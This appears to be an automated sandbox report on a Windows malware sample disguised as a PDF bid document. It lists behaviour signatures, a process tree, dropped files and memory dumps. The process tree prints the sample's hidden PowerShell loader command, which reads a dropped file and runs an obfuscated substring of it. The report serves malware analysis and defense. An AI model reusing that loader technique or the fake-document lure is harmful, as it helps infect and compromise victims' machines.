Analysis
- max time kernel
93s - max time network
100s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
24/06/2024, 11:14
General
- Target PLANT PROJECT PROPOSAL BID_24-0676·pdf.exe
- Size 474KB
- Sample240624-nby7paygnc
- SHA256 659a432dd59291bab8b1bb3c78c3d26c8080cbb255e5407f504fe6e24f175352
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 3 IoCs
- Drops file in System32 directory 1 IoCs
- Drops file in Program Files directory 3 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\PLANT PROJECT PROPOSAL BID_24-0676·pdf.exe"C:\Users\Admin\AppData\Local\Temp\PLANT PROJECT PROPOSAL BID_24-0676·pdf.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Beguiling=Get-Content 'C:\Users\Admin\AppData\Local\Temp\overmandede\Metran\menubilledet\Ligneous27\Megabyte.Rec';$fuglereservatet=$Beguiling.SubString(69485,3);.$fuglereservatet($Beguiling)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 968 -s 25323⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 968 -ip 9681⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_mahtkv5b.kei.ps1
Banner.dll
BgImage.dll
nsDialogs.dll
Megabyte.Rec
memory/968-33-0x00000000055C0000-0x0000000005626000-memory.dmp
memory/968-45-0x0000000005C30000-0x0000000005C7C000-memory.dmp
memory/968-30-0x0000000073440000-0x0000000073BF0000-memory.dmp
memory/968-31-0x0000000004C30000-0x0000000004C52000-memory.dmp
memory/968-29-0x0000000004EB0000-0x00000000054D8000-memory.dmp
memory/968-27-0x0000000002600000-0x0000000002636000-memory.dmp
memory/968-32-0x0000000005550000-0x00000000055B6000-memory.dmp
memory/968-43-0x0000000005800000-0x0000000005B54000-memory.dmp
memory/968-44-0x0000000005BE0000-0x0000000005BFE000-memory.dmp
memory/968-28-0x0000000073440000-0x0000000073BF0000-memory.dmp
memory/968-46-0x0000000006170000-0x0000000006206000-memory.dmp
memory/968-47-0x0000000006130000-0x000000000614A000-memory.dmp
memory/968-48-0x0000000006BC0000-0x0000000006BE2000-memory.dmp
memory/968-49-0x00000000071A0000-0x0000000007744000-memory.dmp
memory/968-26-0x000000007344E000-0x000000007344F000-memory.dmp
memory/968-51-0x0000000007DD0000-0x000000000844A000-memory.dmp
memory/968-53-0x0000000073440000-0x0000000073BF0000-memory.dmp